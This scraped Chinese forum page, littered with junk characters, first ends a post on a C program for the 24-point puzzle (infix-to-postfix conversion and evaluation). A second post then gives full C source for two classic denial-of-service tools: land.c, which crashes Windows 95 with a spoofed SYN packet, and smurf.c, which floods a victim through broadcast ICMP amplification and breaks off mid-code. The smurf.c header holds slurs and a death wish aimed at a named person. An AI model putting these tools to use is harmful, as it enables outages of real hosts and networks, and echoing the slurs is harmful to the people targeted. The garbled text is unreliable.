- t$ r. l; V4 n3 i! z! ?- n2 b5 ~+ ]3、 且继续扫描下一个字符
# }* [: Z9 L! c) t% [1 r! I4、 若W为运算符
  k; i3 W5 T% R( T" e' v5、 则根据运算符的性质做相应的处理:
$ {6 {1 n% u) d(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。/ X$ z) a1 ^4 |( f5 {
(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。& |5 q& F; ]7 W$ L1 X4 J
(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。
9 G% d% I8 o& [, N2 y; e(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。& m- Q' T( I8 W8 M+ t

' A. p3 `" ^# C2 y9 e<FONT color=#ff0000>  第二种方法——</FONT>  S3 K/ K$ G: g* G/ R, x
  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。
; P( K( X/ }" k2 S2 x* a; L$ Q# s. p$ S' R  A2 P# d
  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。1 z5 \6 H3 d' \; z$ E; A/ _

% m8 e8 c8 r& f% T; N) c   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。& L+ E, V7 ^: d
表达式 波兰表达式0 o4 m* @8 A7 h9 d8 `
A-B AB-
# t' {: Q$ i/ H1 {( V% j' @. X(A-B)*C+D AB-C*D+
6 g+ k0 m6 i7 H3 x* T2 B, UA*(B+C/D)-E*F ABCD/+*EF*-' @9 ^" p/ g- C
(B+C)/(A-D) BC+AD-/
- j' [  _4 f. b5 f" ^/ T, N6 P& j+ K
  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。
4 D4 W; `- c7 }$ Z" g9 M/ L0 R. h7 {- ~0 O
  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。
9 `9 ~. r) _3 y
; W  X7 \0 K9 n. a2 B" k3 ]  下面给出转换和计算的具体实现程序——' s! |! u" G- o7 v

9 g4 k9 C4 a- @/ U<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */1 x0 B, t. r6 S4 C
int first(char c)! \) G! w- ]2 i/ i/ y" l6 w
{ int p;7 V+ x- d! V/ x7 t) |) _& f
switch(c)
) V0 T& z5 c' f8 J4 L6 p{ case '*': p=2; break;
. |1 ~% p$ q( {* y4 `- u6 Wcase '/': p=2; break;
+ A' C% q9 {4 \6 o8 s" O( g& o& Gcase '+': p=1; break;
/ r$ }) T, y. n7 mcase '-': p=1; break;
% a$ S! c/ p( `# Pcase '(': p=0; break;
7 v( d2 s% `( N$ `# I7 Vcase '=': p=-1; break;
/ ^8 ?; o. W- k- \3 |# W}. v# e7 F6 i5 K& h: S* v
return(p);
0 P& x8 U  G) ~* ?- |, z}9 Q' {8 t$ a7 D5 [  A( m# S
/* 此函数实现中缀到后缀的转换 */9 U* [; k5 T+ j8 P0 [
/* M的值宏定义为20 */
0 b2 S$ s# _3 H% Q+ o5 t/* sp[]为表达式数组 */' C! V1 e9 F! Q" t, g2 \6 B
int mid_last()% G, c" W# s# A0 E
{ int i=0,j=0; char c,sm[M];
, b/ w' M# ~0 }6 i* g! U! \c=s[0]; sm[0]='='; top=0;# J4 C5 c, _, P5 h
while(c!='\0')
5 }% {' q2 v- _- Q2 u# a{ if(islower(c)) sp[j++]=c;
5 m+ U9 ]- z9 e3 ~0 b2 selse switch(c)
& e8 r. c$ Z5 L1 @: _/ [/ s; b# O. ]{ case '+':9 z8 B7 J: e) S; A/ ?/ n0 _
case '-':7 q0 G- |! E3 P5 S) _
case '*':
; u* }6 x! E  z1 N1 L3 O- I  `case '/': while(first(c)&lt;=first(sm[top]))
, T& }% Y2 z* u+ |1 q5 gsp[j++]=sm[top--];) o/ {( c7 Y/ o$ S) t; z9 W
sm[++top]=c; break;, z% |! _5 V/ R7 q
case '(': sm[++top]=c; break;) A$ U# M( j! q3 @$ E  f
case ')': while(sm[top]!='(')
8 g8 r" n* F) j' ?7 f/ E% i; c8 rsp[j++]=sm[top--];$ E+ o) `& w% Y" l6 P
top--; break;
# T  k0 Y2 }) Cdefault :return(1);
+ H) p1 j$ r# r# U1 k- G}
" i+ l, L7 i& x) D- {  ]0 M4 l) Yc=s[++i];
! r1 n' r; B$ T7 i% D3 h0 N}( g+ Q" z0 r5 a& U9 v# j5 q% r. K
while(top&gt;0) sp[j++]=sm[top--];
1 R0 a" f6 ~- P  D: g& Q& ?sp[j]='\0'; return(0);. x  _2 \: L$ T9 E
}
; ]. N' e' h& q8 k9 `+ T/* 由后缀表达式来计算表达式的值 */
# R- [- g' }4 x3 s  |int calc()
+ p+ L8 j+ k% U, j  ?2 B{ int i=0,sm[M],tr; char c;# ?4 V* x# d0 w! s" [
c=sp[0]; top=-1;
1 e- i- m5 m8 D. {: e6 Swhile(c!='\0')
! N1 [- S* K% t9 }{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,
2 D% z4 K4 Y7 H) q" }1 x这样才可以更方便的处理非一位数, ; N# h! M. E; ^# f
ver数组中存放着这些字母所代替的数*/
; U/ y  ~. w/ H+ C) p9 Relse switch(c)
/ A" c  F% D: _/ T{ case '+': tr=sm[top--]; sm[top]+=tr; break;3 _" Y. f4 J3 ~0 s* l) p& A; t
case '-': tr=sm[top--]; sm[top]-=tr; break;9 T, F# g/ S+ ?$ G' V
case '*': tr=sm[top--]; sm[top]*=tr; break;4 d; N/ I" ^. n% V5 Z4 }  y
case '/': tr=sm[top--];sm[top]/=tr;break;6 i# }6 K  ?" ]/ J4 r
default : return(1);
: P1 j; _# M" v* Z: w4 E/ |) w}% `  v  s0 J' w+ ?, k
c=sp[++i];. m& Y! t4 q) L! y0 q
}
) a) \9 U$ v2 Xif(top&gt;0) return(1);
' w& S, @2 ^* |/ }* p7 selse { result=sm[top]; return(0); }
: ?" Y$ z1 Q. M$ q7 \# ]}) `1 n3 m1 |( z, K- [' N
</FONT>
3 T5 s- {8 d9 A* A: M+ A  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。: @$ h2 R! i% N* j

8 a# ?! g7 S+ R8 E  最后我总结了一下这其中容易出错的地方——
, {9 l3 N# R( u3 a. g  g" D( s% n' |
# z' n  z0 a( L% m$ m  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。9 }( _1 ~# l, Z9 z

5 j: k6 ?6 i. I9 |; u3 w  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。8 C+ p! Y' x; I% }5 }
, K( ~; x( J4 z' E9 X; D) q4 f
  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。
( L; D- W; H  W% n8 @8 V' X- w  ~0 S  e5 a- C5 v5 p
  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。" P$ C" b' |: J6 B4 ]
7 R- g' P, e, [) ]9 w, j3 ?& M
  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。8 A$ j. {6 H" Y0 _! s: G

. r# G$ |( D4 b# f. B1 w  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。" a; ~5 V4 |8 @* Q3 @8 w9 z

$ U) k9 Q7 a  u  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。8 H& O4 b- e# f3 V5 T
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract. z. l7 u9 m9 l1 }
这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自6 Z: p1 L+ k, X$ g' B: [; \9 P' k
己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>
/ \7 r4 l1 j( F4 i<FONT color=#009900>/* land.c by m3lt, FLC
; o$ j. H1 A( \crashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>7 [2 V: v+ _' }/ E
#include <NETDB.H>: \+ x" F+ B/ i8 G0 S8 h
#include <ARPA inet.h>5 C# |; F# r, k! E1 |
#include <NETINET in.h>
; Q) ?. E$ f  x0 c, y2 Y' Q( b#include <SYS types.h>4 F, E% u1 P* L$ z% Z. I+ D, c
#include <SYS socket.h>
0 U/ K$ h: d& ?* x* K2 m7 e2 x' N4 U5 c#include <NETINET ip.h>( l8 z8 ^+ V9 J  c3 ^; j! [/ \
#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头% B! E4 U+ J: ]
struct pseudohdr  z& y. L" u; t2 L3 I) L$ D% @2 |
{
. {2 z9 z! ?1 }5 Z" Vstruct in_addr saddr;
5 m5 B+ J0 l+ kstruct in_addr daddr;; @2 F' H* b: m( d4 i7 \
u_char zero;6 m* ~( W0 B! v
u_char protocol;
* K1 O% F! [1 g' Xu_short length;
- K8 J& {/ B) a  Hstruct tcphdr tcpheader;6 K( X! G( h% |
};</FONT></P><><FONT color=#009900>//计算IP校验和- Z6 ?/ v0 l# }! m# B* K
u_short checksum(u_short * data,u_short length)7 l( \- g% k, b) P4 Z4 j/ x0 K
{
$ r7 w  e1 j/ aregister long value;9 W# p  B4 ?/ {( `4 P6 k" ~1 j
u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)3 W/ p! f$ y/ M8 x6 {6 \9 p8 D
value+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)
" k5 _6 B8 X) J# G" `/ w9 g) `value+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);7 g* x7 q! N: s! N: p& ~' J+ S
}</FONT></P><><FONT color=#009900>
+ k( R" U; q3 C0 [( y' ^int main(int argc,char * * argv)
- H$ D! l, w8 r' U: a2 _{/ j) r0 T2 k& m( u! t  |5 J
struct sockaddr_in sin;
. ~/ F7 k8 Z! T; F; \0 ystruct hostent * hoste;' Y3 c1 {2 i3 |8 Y0 z2 Y! f/ J
int sock;& j- B$ U' z3 |: s5 U$ e
char buffer[40];
# v2 ?0 T( Q# tstruct iphdr * ipheader=(struct iphdr *) buffer;" d7 `# P$ C3 U9 _  d3 Y% }; k5 K
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
' K, Q( v! g# a" i  b  sstruct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)
: V. {6 e( m; |/ F7 ^{
2 K# ]9 x1 R% Q( }5 G3 zfprintf(stderr,"usage: %s IP port\n",argv[0]);4 n) P- t0 H+ b1 j& @
return(-1);
0 H' M- P1 ]8 ]7 O7 x  e! J) _}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
, K7 K# e8 A+ D+ X9 ^8 G' usin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)
# ]) F; p' l* ^) Gbcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);
% g- E7 _3 u/ kelse if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)3 |; A$ P7 E/ f' r$ L9 N. K2 P
{
# o. ^& l7 E& H1 R% nfprintf(stderr,"unknown host %s\n",argv[1]);
5 j% C" w! k, B7 preturn(-1);
+ J6 {( j' a5 l( s% s5 b}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
( ~7 a* G- \6 v" F, n{3 I: ?6 w1 x  d7 j- {$ L
fprintf(stderr,"unknown port %s\n",argv[2]);2 r* T* t% U, k* O
return(-1);. e5 R2 e" w) o/ q- o
}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限& Q; x, A* H% E( l6 C9 `% |
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
( g  m  I8 @7 z) y" E{
+ d! Q) i: {9 P6 y, X0 B% k% ofprintf(stderr,"couldn't allocate raw socket\n");
0 y( X5 i8 T+ n- _1 f' vreturn(-1);
& B0 y7 T  H& U. b' [, H}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
$ I% Q1 @; S5 Y. H$ xipheader-&gt;version=4;4 {% [4 m) |* X. C7 i' H. [! d
ipheader-&gt;ihl=sizeof(struct iphdr)/4;
! \% C2 L7 l/ c) W% \% pipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));1 M) M* x; v9 T3 W6 B3 w
ipheader-&gt;id=htons(0xF1C);" M' |1 h) D# y! E) W, s$ `# v6 {
ipheader-&gt;ttl=255;
$ D- K, z) D5 Kipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同
# L5 `# @- @- J" uipheader-&gt;saddr=sin.sin_addr.s_addr;0 l/ ~- E/ w) K( [+ @
ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同
, b" J% z5 O5 @; [( D7 a% r) atcpheader-&gt;th_sport=sin.sin_port;# C# s# t2 Z0 X) h. o
tcpheader-&gt;th_dport=sin.sin_port;
& e! l5 O3 Q* T$ I! t% Ftcpheader-&gt;th_seq=htonl(0xF1C);: P& X% F9 {% v6 Z" T+ h
tcpheader-&gt;th_flags=TH_SYN;
7 R1 [4 i' M$ ]. ?) U8 Ttcpheader-&gt;th_off=sizeof(struct tcphdr)/4;8 G) y9 f/ [( C* H- ]- }
tcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));/ K' G' r0 p9 }  b0 j8 |9 o& S
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
& I( }4 o6 r9 a5 mpseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
1 u; r1 ^# u9 v% s- o) B+ Mpseudoheader.protocol=6;8 U8 ~& J/ t- R( x7 o1 Z
pseudoheader.length=htons(sizeof(struct tcphdr));9 |/ f% R' [0 ?: o& B, `6 Q
bcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));
# L8 J5 e* B; F; T" y/ k  \tcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),- h  [. [5 b  U
0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)/ x- Z4 O5 b& c  P9 N0 `0 C* l2 Y! E
{
- O" d, d( Q- u6 ^% ^( u3 b( {5 }fprintf(stderr,"couldn't send packet\n");  g1 ^+ P5 L# l9 n
return(-1);/ c6 B* [# Y$ _) ]6 e% E1 k
}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);1 f7 s6 o; m# H. N) r  ^3 X
return(0);& J/ P' y, F$ {( \  Z! Z" y1 {
}</FONT></P><>9 |+ y4 e  I" O* Z4 |
2 Smurf
7 W6 N% f$ m1 R, m  A: D$ m2 Rsmurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数
) b+ Z2 C+ L" {- p  a: v据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包+ u3 ]- u; ^2 Y  O( r$ t
的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些7 S. i. A3 y8 H2 ]! M. I
icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢- V% s( l" t# Y: d) U# |
(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变
9 L# }2 z) s. D* S成不可能(没有WINS服务器时)。</P><P>/*. a0 r" D. H% q! A/ _) M
*; d! s6 Z4 K0 W' t0 q/ _4 V6 v
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $0 a# U) b% n- o- T
** Y* I' z/ X0 L  T7 [
* spoofs icmp packets from a host to various broadcast addresses resulting
  z. [/ v; A$ S0 p7 e* in multiple replies to that host from a single packet.
; |3 b7 e5 w& g+ A2 _*8 G) g+ {/ ?6 ?
* mad head t6 F' y  Z' z4 ?: N9 E3 O
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,7 h+ v3 s4 J, p8 t) a' y2 ~
* MissSatan for swallowing, napster for pimping my sister, the guy that
* A+ Q) a5 p" N) s, [7 |; M1 w* invented vaseline, fyber for trying, knowy, old school #havok, kain
- M: Y4 c; H* C4 g* e$ F* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might' h0 p" J2 m6 I' z5 S1 P1 t5 A4 G
* have missed (you know who you are).
) I  M8 A% V0 J*
- a! c8 v' L( P) x% j6 ~! {) k& a* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
8 b- S4 p! H0 d* p% ]' G* thing he is (he's -almost- as stubborn as me, still i managed to pick up
! \/ A& ]7 C- `  u* half the cheque).
% V( A; c* k* V/ [& U*3 O0 a1 G6 G. q' a; S  M- U, i7 p
* and a special hi to Todd, face it dude, you're fucking awesome.
. f+ x/ R- T  Z. v3 d( p9 s*7 i3 O* T" ]* m8 c& h- _+ Z
* mad anal t
  \. m4 q7 j: `, A0 @5 i% g* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps4 y/ v4 H9 _. O4 V$ L4 b5 F
* because they plain suck, Rolex for being a twit, everyone that: ?: S7 l9 L  ]$ V
* trades warez, Caren for being a lesbian hoe, AcidKill for being her3 i* _% I# I) i) h
* partner, #cha0s, sedriss for having an ego in inverse proportion to1 G" K! O0 u4 n$ q/ b8 \/ I
* his penis and anyone that can't pee standing up -- you don't know what" I5 Q& v& S) `- d
* your missing out on.5 y+ }) b; h9 v6 A7 O
*% D: t6 e$ h7 T0 Q+ O) h
* and anyone thats ripped my code (diff smurf.c axcast.c is rather! _1 W2 R7 J, C. o# M2 p0 G
* interesting).# ^: |& d: S0 ]& _2 [
*" @5 ~) H! t; Q/ H) I
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill% \9 M8 b0 R/ V: ?
* Robbins for trying to steal my girlfriend. Not only did you show me
# M4 J. f. d, @: b7 C. A* no respect but you're a manipulating prick who tried to take away the  E4 Q. k* R5 }* |
* most important thing in the world to me with no guilt whatsoever, and
! P* u& _3 l/ q" Y! b" G7 P* for that I wish you nothing but pain. Die.4 \! s! ~, j% l/ a& T4 ^
*% a2 k4 q# s6 u8 d! I, q  m
* disclaimer:
# [, J- K8 U) K8 y% w' F- _* I cannot and will not be held responsible nor legally bound for the8 C2 e/ v7 [& S% D! m
* malicious activities of individuals who come into possession of this7 p0 ~( y% ]+ x
* program and I refuse to provide help or support of any kind and do NOT
; e& e3 L& X% b; T/ ~5 W% e* condone use of this program to deny service to anyone or any machine.
; G* A0 _( G; N& V7 c, c* This is for educational use only. Please Don't abuse this.1 W" r0 S4 P- i% x; q
*0 s0 F2 Q+ F" {* m+ q6 ~& U
* Well, i really, really, hate this code, but yet here I am creating another
  s& M; ^8 B* }/ S% U, @* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
8 o' F# }: O' C/ S* like most programmers don't like seeing bugs in their code. I saw a few$ o8 s0 {+ s( ^  F( S3 V
* things that should have been done better or needed fixing so I fixed6 |+ |; }- `: T  z0 {  G1 [
* them. -shrug-, programming for me as always seemed to take the pain away. w. d# W4 @/ S$ k' p" V0 N
* ...3 I4 j2 r0 @, v" Y6 X/ F/ z
*
' a5 l9 s4 [  O0 U% m. i*: Y2 X9 b* z# V: C; q, v' @
*/</P><P>#include <SIGNAL.H>1 }. x- C/ o4 L. a8 Q0 _
#include <STDIO.H># Z" F: e6 C+ H$ R! M6 b1 D) U$ ~
#include <STDLIB.H>
; o5 T9 u- E0 \' G2 L( d#include <SYS socket.h>
9 W4 N8 ]5 y& v3 g5 r#include <SYS types.h>
: S0 n3 U9 G) B* _$ ~" l' |9 h2 |8 M#include <NETINET in.h>3 N# y( j7 {$ V8 r) [
#include <NETINET ip.h>  ?' H2 j0 W% ]5 ^% J- Y
#include <NETINET ip_icmp.h>
) q9 d# D2 w1 N#include <NETDB.H>
' n. T) d' I) B" Q- D. i#include <CTYPE.H>
' @* {9 l$ D/ d  Z) G6 u#include <ARPA inet.h>. K7 `( b' q0 M- e* v* C' P
#include <UNISTD.H>
0 B* d& J# p* ~3 [#include <STRING.H></P><P>void banner(void);6 T9 K  M" |( q! z8 T* p
void usage(char *);
% g+ v8 y( P$ d1 Lvoid smurf(int, struct sockaddr_in, u_long, int);
/ I% d# W# M% V) n5 E' ^7 U7 mvoid ctrlc(int);2 h# ~" C7 k4 q. C
unsigned short in_chksum(u_short *, int);</P><P>/* stamp */
% C( v9 n6 O; \: @- q4 schar id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])( |4 _6 a- g9 @% _$ {& |
{7 V+ p2 h( m6 `7 F
struct sockaddr_in sin;; C9 {) [7 `& _( f4 J& N' `
struct hostent *he;( J4 s7 m2 v6 i0 Z0 i  C/ w! x' ^# ^
FILE *bcastfile;3 o1 \) F0 [8 h1 W2 }( I  M
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
" p0 o: A4 L( ?6 tchar buf[32], **bcastaddr = malloc(8192);</P><P>banner();" y6 F  q: c$ l* O
signal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
8 R- H9 r1 d0 C  gperror("resolving source host");, W/ }+ B3 T8 M! _% m% ^; P) O
exit(-1);
3 q9 m# o/ Y0 m4 A3 o6 Y}! n! |7 Q3 V' P
memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
& C$ n7 Z* _5 x, m1 E- }! [1 k1 l, J, esin.sin_family = AF_INET;3 a' K/ U$ O, O( d. R8 I# }
sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);$ x- H8 W' q# c, h5 g
delay = atoi(argv[4]);5 n3 m- [7 s; |; }1 H5 M
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {1 D' B6 T+ }, b6 S. o# q6 q0 X* I8 c
perror("opening bcast file");
( e$ }6 w1 o( xexit(-1);' R/ D3 j0 s. W. l& h
}( t) D6 t, A! ~; \
x = 0;
8 _3 v# L8 l: @0 y8 Ewhile (!feof(bcastfile)) {5 Q" W* w/ F% z5 y. }
fgets(buf, 32, bcastfile);6 [7 F3 `2 \) s, N9 B/ W9 s9 J
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;) _/ O6 d7 e; r* `2 E7 i/ q
for (i = 0; i &lt; strlen(buf); i++)( r) K) e- @. |  z: U+ j/ U
if (buf == '\n') buf = '\0';- W1 O8 c5 n  O0 k7 y6 [  V
bcastaddr[x] = malloc(32);
9 M# O* a) _9 d3 w' K; q' cstrcpy(bcastaddr[x], buf);
: {9 _4 P/ a6 O$ a' I! ?! ?4 Bx++;& u; w# \$ \! C" g% W
}$ b2 _2 b0 J+ O% s& o0 V. V) l
bcastaddr[x] = 0x0;4 X0 T: k6 d6 t
fclose(bcastfile);</P><P>if (x == 0) {, c. {: @. V5 _- |' W
fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);. d, m" v! T1 s) l. M
exit(-1);
7 X1 l# U; U2 q/ j% h9 K/ A}% ?! @6 L0 L+ H9 U+ ^
if (pktsize &gt; 1024) {& O* |& Y2 h% l& Y. o0 U+ _
fprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");
2 U1 B1 u' p/ ]exit(-1);
1 `: n6 F! J# \4 T; s  a& B: e; T- l}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
" T' p# a' w, K0 o8 M6 j% ^/ ]perror("getting socket");
' T5 a6 G7 l0 c; X$ Zexit(-1);
* m4 H0 E' t+ v# u) Y8 z}# W. l% P6 x5 S( O6 _9 X
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
9 V# X& z; j' _0 y! uif (!(i % 25)) { printf("."); fflush(stdout); }
3 H0 B8 W! A+ ?* S" c8 Jsmurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);$ I2 U3 z) {) |/ P1 M1 C
cycle++;, b6 a# V* L) y+ J
if (bcastaddr[cycle] == 0x0) cycle = 0;! t5 V$ y* l' J" H+ a
usleep(delay);2 w* ^- y6 J/ P9 B! B; w9 q) u+ v
}
) @, m  j+ h7 G4 j$ kputs("\n\n");) L0 z- L$ p: z. E' n2 G) f
return 0;
/ T6 N! R0 B0 y. }2 l}</P><P>void banner (void)
! `, @$ ]( g' \0 a2 g{7 R" V3 d, ~3 F. G) r
puts("\nsmurf.c v4.0 by TFreak\n");, i! g0 y- F! L
}</P><P>void usage (char *prog)7 }5 z  }$ Q6 V2 |
{; Y  E$ L8 j% |4 |* f3 N
fprintf(stderr, "usage: %s <TARGET><BCAST file>"# J8 ?. I$ L2 j. N7 }0 x
"<NUM packets> <PACKET delay><PACKET size>\n\n"0 Y1 u2 }6 G: v1 l4 J- P/ W$ e
"target = address to hit\n"
/ d* ^3 q# u7 ^. D( I0 j"bcast file = file to read broadcast addresses from\n". {( o8 x2 [8 G% B, e9 R
"num packets = number of packets to send (0 = flood)\n"- P1 o7 r0 Z% M( ^& B6 ^2 B6 W
"packet delay = wait between each packet (in ms)\n"2 P( Q; Z# E8 r7 {  X# U/ x; G
"packet size = size of packet (&lt; 1024)\n\n", prog);
1 M! h* ]& f4 p  n1 n0 ~+ d. l3 z" Iexit(-1);
; w. h# X3 I: u3 ^) \* s1 M7 |}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)( S5 m( |2 G0 y
{  X9 N, F6 t3 h
struct iphdr *ip;' a9 `( v" A  \- a6 z* X- K! R
struct icmphdr *icmp;
8 [7 S  C8 k' _/ q- Y) h% Mchar *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);6 H; [! _; @, V1 l* t  U
ip = (struct iphdr *)packet;
2 S2 S& j# K' B) a! |5 gicmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);) k+ K) J( U$ A7 p, K8 [( m6 _+ ]
ip-&gt;ihl = 5;
, e# e' g) D( K  Y8 fip-&gt;version = 4;3 Y8 g) q3 j: y" C4 ^5 u% s
ip-&gt;ttl = 255;* S) k: ]2 L  ?9 ]) F& L- o' N6 `% O
ip-&gt;tos = 0;) C, V( X( r. T6 z4 W6 T
ip-&gt;frag_off = 0;
+ m6 }8 U" U* B/ h- r5 bip-&gt;protocol = IPPROTO_ICMP;
" z" l" ~. p% D* Wip-&gt;saddr = sin.sin_addr.s_addr;
& R# V% B% X  r9 N6 F$ {ip-&gt;daddr = dest;
: |+ u) T6 A6 B6 M: J+ q! U6 Dip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));% I2 N( e) ^; s8 ^) E
icmp-&gt;type = 8;) u1 n( \) @- U# \' T: j' n: T* K' u
icmp-&gt;code = 0;
